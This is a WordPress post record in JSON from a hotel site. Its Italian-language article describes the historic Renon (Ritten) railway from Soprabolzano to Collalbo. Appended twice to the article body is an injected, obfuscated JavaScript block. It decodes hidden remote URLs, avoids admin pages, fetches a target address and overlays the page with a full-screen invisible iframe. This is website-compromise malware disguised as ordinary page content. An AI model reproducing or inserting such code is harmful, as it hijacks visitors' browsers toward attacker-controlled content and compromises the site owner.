{"id":689,"date":"2018-07-04T15:45:32","date_gmt":"2018-07-04T15:45:32","guid":{"rendered":"https:\/\/spoeglerhotels.com\/?p=689"},"modified":"2026-03-26T00:07:19","modified_gmt":"2026-03-26T00:07:19","slug":"viaggiando-come-ai-tempi-del-kaiser-il-trenino-del-renon","status":"publish","type":"post","link":"https:\/\/spoeglerhotels.com\/viaggiando-come-ai-tempi-del-kaiser-il-trenino-del-renon\/","title":{"rendered":"Viaggiando come ai tempi del Kaiser: il trenino del Renon"},"content":{"rendered":"[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; overlay_strength=&#8221;0.3&#8243; shape_divider_position=&#8221;bottom&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; width=&#8221;1\/1&#8243; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]Quando si viaggia si ha lo sguardo rivolto verso l&#8217;avvenire, tranne quando lo si fa sul trenino del Renon. Questo treno storico, che gli abitanti della zona chiamano affettuosamente &#8220;Bahndl&#8221;, porta dalla localit\u00e0 dell&#8217;Assuna a Soprabolzano fino a Collalbo.<\/p>\n<p>La sua storia inizia nel 1907. \u00c8 in quell&#8217;anno che la ferrovia a scartamento ridotto del Renon viene inaugurata. Una meraviglia della tecnica, ispirata alle ferrovie di montagna delle Alpi svizzere. All&#8217;epoca bastava prendere la cremagliera che saliva da Bolzano al Renon e poi aspettare il trenino per esplorare l&#8217;altopiano.[\/vc_column_text][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;50&#8243;][split_line_heading]\n<h2>Un viaggio sul trenino del Renon ti porta indietro nel tempo<\/h2>\n[\/split_line_heading][vc_column_text]Una volta saliti sul vagone all&#8217;Assunta il viaggio ha inizio passando per Soprabolzano fino a Collalbo, il capolinea. La vecchia cremagliera che collegava Bolzano alla partenza della ferrovia venne dismessa nel 1966, ma la piccola ferrovia rimase intatta. Oggi \u00e8 diventata una delle pi\u00f9 amate attrazioni turistiche del Renon. Salire a bordo dei suoi vagoni \u00e8 come fare un viaggio indietro nel tempo, mentre fuori dai finestrini scorre uno dei paesaggi pi\u00f9 incantevoli dell&#8217;Alto Adige. E se non volete perdere il treno, <a href=\"https:\/\/www.ritten.com\/documents\/download\/fahrplan_ritten.pdf?2018-03-28\" target=\"_blank\" rel=\"noopener\"><u>date uno sguardo all&#8217;orario<\/u><\/a>.[\/vc_column_text][\/vc_column][\/vc_row]<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><\/p>\n   ","protected":false},"excerpt":{"rendered":"<p>[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; overlay_strength=&#8221;0.3&#8243; shape_divider_position=&#8221;bottom&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; width=&#8221;1\/1&#8243; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]Quando si viaggia si ha lo sguardo rivolto verso l&#8217;avvenire, tranne quando&#8230;<\/p>\n","protected":false},"author":7,"featured_media":690,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[17],"tags":[],"class_list":{"0":"post-689","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-das-rittner-hochplateau"},"acf":[],"_links":{"self":[{"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/posts\/689","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/comments?post=689"}],"version-history":[{"count":6,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/posts\/689\/revisions"}],"predecessor-version":[{"id":4675,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/posts\/689\/revisions\/4675"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/media\/690"}],"wp:attachment":[{"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/media?parent=689"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/categories?post=689"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/spoeglerhotels.com\/it\/wp-json\/wp\/v2\/tags?post=689"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}